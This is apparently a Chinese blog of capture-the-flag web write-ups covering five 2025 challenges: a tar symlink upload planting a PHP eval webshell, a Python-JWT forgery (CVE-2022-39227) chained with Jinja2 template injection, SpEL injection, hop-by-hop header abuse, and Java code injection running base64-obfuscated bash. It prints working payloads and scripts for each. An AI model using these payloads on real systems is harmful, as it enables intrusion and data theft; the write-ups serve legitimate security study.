[长城杯2025] Ez Upload
文件上传题,任意上传一个文件后显示了源码:
<?php
highlight_file(__FILE__);
function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';
if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}
$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
if (empty($filename)) {
echo '文件名不符合要求。';
return;
}
$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}
handleFileUpload($_FILES['file']);
?> /tmp/1.sh
接受文件后,先进行了过滤 $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
preg_replace(正则, 替换内容, 原字符串) 将匹配到的内容用下划线 _ 替换掉,但是这里 [] 内的字符集合用 ^ 取反,即不属于下面范围的字符都会被过滤掉。
然后将文件保存在 /tmp 目录下并进行 tar -xvf 解压。但是文件上传就是需要写入自己的恶意木马后门,但是文件保存在了 /tmp 目录下,尝试修改文件保存位置。
我们可以使用软链接(即符号链接),软连接相当于一个快捷方式,实际上是一个特殊的文件,是将一个路径名链接到另一个文件。
在软连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
比如这道题,我们上传的文件会被保存在 /tmp 目录,通过 ln -s /var/www/html link1 创建一个指向 /var/www/html 的软链接 link1 ,然后 tar -cvpf step1.tar link1 将软链接压缩成 tar ,
-c:创建一个新的归档文件
-v:显示详细操作过程
-p:保留文件的原始权限(解压时)
-f: 指定归档文件的名称
这样上传 step1.tar 文件后会被保存到 /tmp/step1.tar ,
然后解压变成 /tmp/link1 ,
实际 /tmp/link1 ->/var/www/html 这样就实现了目录穿越。
再在 /link1 目录下写马 evil.php ,这样上传将 link1/evil.php 打包后的 step2.tar 相当于 /tmp/link1/evil.php -> /var/www/html/evil.php 。
ln -s /var/www/html link1 #创建第一个软连接指向/var/www/html
tar -cvpf step1.tar link1 #将软连接压缩成tar
rm link1 #删除软连接
mkdir link1 #创建文件夹,因为和软链接重名,所以前面一步我们 rm 删除 tar 打包后不需要的软链接再创建一个文件夹
cd link1
echo '<?php @eval($_REQUEST[1]);' > evil.php #写马,然后 cat evil.php 就会正常显示出 evil.php 的内容 <?php @eval($_REQUEST[1]);
cd ..
tar -cvpf step2.tar link1/evil.php #创建 tar
注意,tar -cvpf step2.tar link1 与 tar -cvpf step2.tar link1/evil.php 不一样,前面打包了整个 link1 目录,后面打包了 /link1/evil.php ,指定打包内容,这样才能正确访问 /var/www/html/evil.php 。

然后上传 step1.tar 和 step2.tar ,再访问 /evil.php 传入 1=system('cat /fl*'); 拿到 flag

[山东省赛2025海选] Web1
其实前面的一篇 blog 复现过这题,雾 )
附件给了 app.py 以及 requirements.txt ,发现存在 CVE-2022-39227-Python-JWT 漏洞。
查看 app.py ,关键代码审计:
users={}
users['guest'] = {
'password': 'guest',
'role': 'guest',
'name': 'guest',
'department': 'guest'
}
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
data = request.get_json()
username = data.get('username')
password = data.get('password')
if username in users and users[username]['password'] == password:
user_info = users[username].copy()
user_info['username'] = username
payload = {
'username': username,
'role': user_info['role'],
'name': user_info['name'],
'department': user_info['department']
}
token = generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2))
return jsonify({
'success': True,
'token': token,
'user': user_info
})
else:
return jsonify({
'success': False,
'message': '用户名或密码错误'
}), 401
return 'login.html'
第一步:
“users” 字典里发现有内置用户 guest/guest ,对 /login 接口以 json 格式传入 username 和 password 认证成功后 token = generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2)) 会生成一个 JWT :
eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw

第二步,上网搜索 Python-JWT 身份验证绕过:Python-JWT身份验证绕过(CVE-2022-39227)_cve-2022-39227-python-jwt-CSDN博客
然后前面认证成功后拿到了一个身份为 guest 的 JWT ,尝试伪造身份为 admin 绕过检测,这里可以利用通用 payload 代码 run.py :
from json import *
from python_jwt import *
from jwcrypto import jwk
jwt_json = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw"
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
#这里键值对根据需要修改
parsed_payload['role'] = "admin"
fake = base64url_encode(dumps(parsed_payload))
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)

拿到一个伪造成 admin 身份的 token:
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NjEzOTkwNTEsICJpYXQiOiAxNzYxMzkxODUxLCAianRpIjogIk1vVlpsOFZyN3doajA3eTJ3T3ZzcXciLCAibmFtZSI6ICJndWVzdCIsICJuYmYiOiAxNzYxMzkxODUxLCAicm9sZSI6ICJhZG1pbiIsICJ1c2VybmFtZSI6ICJndWVzdCJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw"}
继续代码审计:
发现 /api/report/generate 接口存在 ssti 注入漏洞。
@app.route('/api/report/generate', methods=['POST'])
def generate_report():
try:
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return jsonify({'error': '未提供认证token'}), 401
token = auth_header[len('Bearer '):]
try:
header, payload = verify_jwt(token, jwt_key, ['PS256'])
if payload.get('role') not in ['manager', 'admin']:
return jsonify({
'error': '权限不足,只有经理和管理员可以生成报告',
'current_role': payload.get('role', 'unknown')
}), 403
data = request.get_json()
company_id = data.get('company_id')
report_template = data.get('template', '')
custom_title = data.get('title', '企业监管报告')
# 查找企业信息
company = None
for comp in tobacco_companies:
if comp['id'] == company_id:
company = comp
break
if not company:
return jsonify({'error': '未找到指定企业'}), 404
# 获取用户信息
user_name = payload.get('name', '未知用户')
user_dept = payload.get('department', '未知部门')
if "{{" in report_template:
return jsonify({'error': 'bad template'}), 400
if report_template:
template_content = f"""
对 /api/report/generate 接口 POST 传入 Authorization 字段 ,格式为 Bearer {“token”} ,其中 token 为前面我们伪造成 admin 后的 token 值,然后再以 json 格式传入 company_id 、password 可以看到回显:

继续分析, report_template 由用户直接提交,但是代码做了一个 if 判断:如果 report_template 中包含 {{ 就直接拒绝 400;然后把 report_template 原样拼接进大模板 template_content,再用 Jinja2 的 render_template_string 进行渲染。
虽然 report_template 过滤了 {{ ,但是 custom_title,company_id 等变量没有过滤,仍能可以 ssti,所以传入 title 为 {{ ''.__ … }} 即可
修改 run.py ,添加一行代码:
parsed_payload['name'] = "{{''.__class__.__base__.__subclasses__()}}"
跑出新的 payload ,修改 Bearer,可以拿到全部的类 class ,来进行 ssti 模板注入。
查找到 <‘class warnings.catch_warnings> 索引为 164 。

再次修改 run.py
parsed_payload['name'] = "{{''.__class__.__base__.__subclasses__()[164].__init__.__globals__.__builtins__['eval'](\"__import__('os').popen('cat /fl*').read()\")}}"
跑出可以进行 getshell 的 payload :
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NjEzOTkwNTEsICJpYXQiOiAxNzYxMzkxODUxLCAianRpIjogIk1vVlpsOFZyN3doajA3eTJ3T3ZzcXciLCAibmFtZSI6ICJ7eycnLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzE2NF0uX19pbml0X18uX19nbG9iYWxzX18uX19idWlsdGluc19fWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdjYXQgL2ZsKicpLnJlYWQoKVwiKX19IiwgIm5iZiI6IDE3NjEzOTE4NTEsICJyb2xlIjogImFkbWluIiwgInVzZXJuYW1lIjogImd1ZXN0In0.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NjEzOTkwNTEsImlhdCI6MTc2MTM5MTg1MSwianRpIjoiTW9WWmw4VnI3d2hqMDd5MndPdnNxdyIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc2MTM5MTg1MSwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"NmNSNi1VVbc6gbvajIMCF5urLTontskoNzci_VJyF5Z5021Kx5Fr1-8CdPB0hujqXEQyFo3CgfvIp6kHcIuAkvN27qrgmODJOSaVsMGztKrKhgVCd7IkMbtuo7_mzRiMAe5SDKniCQvFBMZvK9RIVJdTGJrs6HWAHLL_3Eijl7Y32swEPk4O2ZLfEIDhNT4vcQ8-mpeC_suuvHby3gvDIm6UP77oaJr_htqNZOHpEmFIc2e9vRq1-wQh1oPluLqdqPQtfK7oD3csGLw1NhE1I7sBDsPjwlEJt28RcpbZE2DY6KPWh84uMWXIvPACumS0sbt7EHmgMMxQhCMKJfCGQw"}
可以看到 flag ,

最后拿到 flag 为: flag{ebe992a7-8fcf-48da-ba44-37fa4b681279}
[强网杯S9 初赛] bbjv
a baby spring
附件给了一个 app.jar 文件。使用在线编译工具:在线Java反编译器 – ShenmeApp 或者装一个 JD-GUI 。
首先,app.jar 解压之后,可以看到 BOOT-INF 文件夹和 META-INF 文件夹,
BOOT-INF 是存放编译后的 classes 码,着重看 BOOT-INF 这个文件夹。然后 java 的项目文件夹格式是“域名.组织名.项目名”,题目的文件夹是 com.ctf.gateway,里面就是题目的代码文件。
SpringBoot 是一个构建在 Spring 框架顶部的项目,把代码分为:Controller,Service, Repository三层结构。Controller 是处理 HTTP 请求,所以在这里可以看到路由处理相关代码;Service 是项目核心逻辑;Repository 主要是与数据库相关。
首先看 controller ,看题目有哪些路由,可以看到,只有一个 /check 的 GET 路由,并且里面还有个 flagFile 文件。

代码审计:
@GetMapping({"/check"})
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
String result = this.evaluationService.evaluate(rule);
File flagFile = new File(System.getProperty("user.home"), "flag.txt");
...
}
@GetMapping({"/check"})
这个就是定义是处理 GET 请求,然后地址是 /check,
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
这个表示路由的处理函数,@RequestParam String rule 表示:这个路由还会接受一个名字叫 rule 的 Querystring 。
也就是我们访问 /check?rule=xxx ,这个 xxx 的内容会赋值给 rule 变量,
String result = this.evaluationService.evaluate(rule);
这里用 evaluationService 给 rule 进行了一些处理,然后
File flagFile = new File(System.getProperty("user.home"), "flag.txt");
if (flagFile.exists()) { xxx }
会 构造一个 File 对象 flagFile:new File(System.getProperty("user.home"), "flag.txt");
把 System.getProperty("user.home") 和 flag.txt 拼接成一个文件路径,然后这个 flagFile 是 System.getProperty("user.home") / flag.txt 这一个文件,然后后面如果文件存在的话,它就会读取文件内容然后返回该内容。
所以,如果我们知道 flag 的位置,然后设置 System.getProperty("user.home") 的值为 flag 所在的文件夹,就可以拿到 flag 了。我们现在的目标是:
- 知道flag的位置
- 设置
System.getProperty("user.home")的值为 flag 所在的文件夹
题目还给了 Dockerfile,也就是题目的构建脚本,从这里我们可以看到,flag 的位置是:/tmp/flag.txt,所以我们只要让 System.getProperty("user.home") 变成 /tmp 就可以了

那么怎么让 System.getProperty("user.home" )变成 /tmp 呢?查看 this.evaluationService.evaluate(rule);即 EvaluationService :

这里 evaluate 函数用 this.parser.parseExpression 对传入的 expression(也就是rule)进行了处理,TemplateParserContext 实现了 ParserContext,其默认规则是模板前缀 #{ 和后缀 },因此字符串中 #{...} 部分会被当作 SpEL 表达式解析。而从上面的定义来看:private final ExpressionParser parser = new SpelExpressionParser(); 中 parser 是一个 Spel 表达式解析器。所以我们就需要用 Spel 表达式来修改 System Property ,即使用 Spel 表达式让 System.getProperty("user.home") 变成 /tmp 。
问 ai 可以得知:

systemProperties 常被映射为一个可以访问/操作 JVM 系统属性的映射,类似 System.getProperties(),能否访问取决于 EvaluationContext 的配置(是否允许访问此变量/属性)。
systemProperties['user.home'] 表示对 systemProperties 映射中键为 "user.home" 的条目进行读写操作。等价于 System.getProperty("user.home")(读取)或修改该映射(写入),
= '/tmp' 赋值操作,把 systemProperties['user.home'] 的值设置为字符串 '/tmp',
所以我们可以利用 systemProperties 类,即 #systemProperties['user.home'] = '/tmp'作为模版内容,所以 payload:
#{#systemProperties['user.home'] = '/tmp'}
或者
#{systemProperties['user.home'] = '/tmp'}

又因为 rule 的表达式是 # ,而 url 中 # 后面是作为锚点了,所以要把 # 进行 url 编码再传入
'''
/check?rule=#{#systemProperties['user.home']='/tmp'}
'''
/check?rule=%23%7B%23systemProperties%5B%27user.home%27%5D%3D%27%2Ftmp%27%7D

flag{f7488f11-7239-4f2d-a12c-33d8c86048ca}
[强网杯S9 初赛] SecretVault
小明最近注册了很多网络平台账号,为了让账号使用不同的强密码,小明自己动手实现了一套非常“安全”的密码存储系统 – SecretVault,但是健忘的小明没记住主密码,你能帮他找找吗
附件给了 main.go 和 app.py 文件。
代码审计:
main.go 作了认证网关+签名,实现鉴权服务(authorizer),
app.py 实现密码保管库系统(vault)。
两个程序的交互流程:
用户通过:5555端口访问系统
main.go 的反向代理验证 JWT 令牌并转发请求到 Flask 应用
Flask 应用根据 X-User 头部识别用户身份
用户登录时,Flask 应用会请求:4444端口的签发服务生成 JWT 令牌
我们先看 app.py :
fernet = Fernet(app.config['FERNET_KEY'])
with app.app_context():
db.create_all()
if not User.query.first():
salt = secrets.token_bytes(16)
password = secrets.token_bytes(32).hex()
password_hash = hash_password(password, salt)
user = User(
id=0,
username='admin',
password_hash=password_hash,
salt=base64.b64encode(salt).decode('utf-8'),
)
db.session.add(user)
db.session.commit()
flag = open('/flag').read().strip()
flagEntry = VaultEntry(
user_id=user.id,
label='flag',
login='flag',
password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
notes='This is the flag entry.',
)
db.session.add(flagEntry)
db.session.commit()
发现有个 id=0 的用户是 admin ,里面存放了 flag 。
继续往后看,发现 app.py 上面一个鉴权逻辑:
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))
g.current_user = user
return view_func(*args, **kwargs)
return wrapped
这段鉴权逻辑 uid = request.headers.get(‘X-User’, ‘0’) 从请求头中获取取 X-User,如果没有则默认为0 ,
if uid == ‘anonymous’:xxx 表示如果来自未登录用户,则拒绝,跳到 login 页面,
uid_int = int(uid) 把 uid 转成数字,user = User.query.filter_by(id=uid_int).first() 根据用户 id 从数据库查用户,如果用户不存在则拒绝访问跳转到 login 界面。
鉴权逻辑简化:
- 请求头的 X-User 或者 0 → uid →uid != anonymous 则 uid_int = int(uid) → id = uid_int
因为前面 id=0 的用户为 admin ,且有 flag ,所以我们要让 uid_int = 0 要么篡改 X-User = 0 要么让 X-User 不存在。
但是 main.go 充当反向代理并在转发到 Flask 前:
func GetUIDFromRequest(r *http.Request) string {
authHeader := r.Header.Get("Authorization")
if authHeader == "" {
cookie, err := r.Cookie("token")
if err == nil {
authHeader = "Bearer " + cookie.Value
} else {
return ""
}
}
if len(authHeader) <= 7 || !strings.HasPrefix(authHeader, "Bearer ") {
return ""
}
tokenString := strings.TrimSpace(authHeader[7:])
if tokenString == "" {
return ""
}
token, err := jwt.ParseWithClaims(tokenString, &AuthClaims{}, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(SecretKey), nil
})
if err != nil {
log.Printf("failed to parse token: %v", err)
return ""
}
claims, ok := token.Claims.(*AuthClaims)
if !ok || !token.Valid {
log.Printf("invalid token claims")
return ""
}
return claims.UID
}
uid := GetUIDFromRequest(req)
GetUIDFromRequest(r *http.Request) string{xxx} 从请求中提取用户标识 uid 。
首先检查 Authorization 头,若没有,则尝试从 token 中读取,要求值以 “Bearer ” 开头,截取 JWT token 字符串。用程序全局的 SecretKey(在进程启动时随机生成)按 HMAC-SHA256 验证并解析 JWT,若验证成功,返回 Claims 中的 UID 字段;失败则返回空字符串。
因此 uid 为解析出的用户 id 字符串,或空字符串表示未认证/解析失败。
继续往后看,
func main() {
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req)
log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")
if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}
func main() { xxx } 在转发前删除了头部的 Authorization 、Cookie 、X-User 、X-Forwarded-For ,然后又会基于解析结果设置一个仅由 authorizer 控制的 X-User ,其字段值要么为 anonymous 要么为 req.Header.Set(“X-User”, uid) 即前面 JWT 内的 uid 。
所以 X-User = 0 只能来源于:
- 能伪造 JWT → 需要 SecretKey,未知
- 能调用 /sign?uid=0 → 必须来自 127.0.0.1,外部无法直连
因此,我们只能想办法让 X-User 置空(请求中没有 X-User)来实现 uid=0 。
Connection: close,X-User
找到一篇文章:
https://blog.hk.cn/posts/%E6%BB%A5%E7%94%A8-http-hop-by-hop-%E8%AF%B7%E6%B1%82%E5%A4%B4

这道题一个是 Flask 服务器,在 5000 端口,一个是 Go 服务器作为 Flask 页面的代理,在 5555 端口。并且让 Go 输出 proxy 的请求,让 Python 输出接收到的请求头。
伟大的 yema 搭建了一个与题目类似的服务器然后 yema 向 Go 发送
GET / HTTP/1.1
Host: 127.0.0.1
Connection: close,X-User
Go的代理向Flask发送的请求如下:

Go 在最后添加了 X-User: test-user(题目里是 Guest 账户,这里 yema 随便写了一个)

Python 接收到的 Header 只有 Host, X-Forwarded-For, Accept-Encoding
因为 Connection 包含 X-User,使得 X-User 变成一个 hop-by-hop 头,Flask 就忽略 X-User 这个头了
因此我们使得 X-User 不存在,拿到 flag:flag{212dba28-0bf0-4849-bbec-8946279d3e2e}
curl -H 'Connection: close, X-User' 'http://container.ctf.abstrax.cn:30205/dashboard'
或者
curl -X GET "http://container.ctf.abstrax.cn:30205/dashboard" -H "Host: x" -H "Connection: close,X-User"| findstr "flag{"

[强网杯S9 初赛] yamcs
没看懂干啥的,但是找到一个类似 JAVA 代码的 text 字段

尝试修改这个字段内容为 out0.setStringValue("aaa");

然后可以看到有回显内容

尝试带出 flag :
try {
Process process = Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9mbGFnIHwgYmFzZTY0}|{base64,-d}|{bash,-i}");
java.io.InputStream inputStream = process.getInputStream();
java.io.InputStreamReader inputStreamReader = new java.io.InputStreamReader(inputStream);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(inputStreamReader);
String a = bufferedReader.readLine();
out0.setStringValue(a);
} catch (Exception e) {
e.printStackTrace();
}

拿到:ZmxhZ3s0NzE5MzYwOS1jMjlkLTQ3Y2QtODBiYS03YzI5YWYyNjAzN2N9Cg==

flag{47193609-c29d-47cd-80ba-7c29af26037c}
参考:
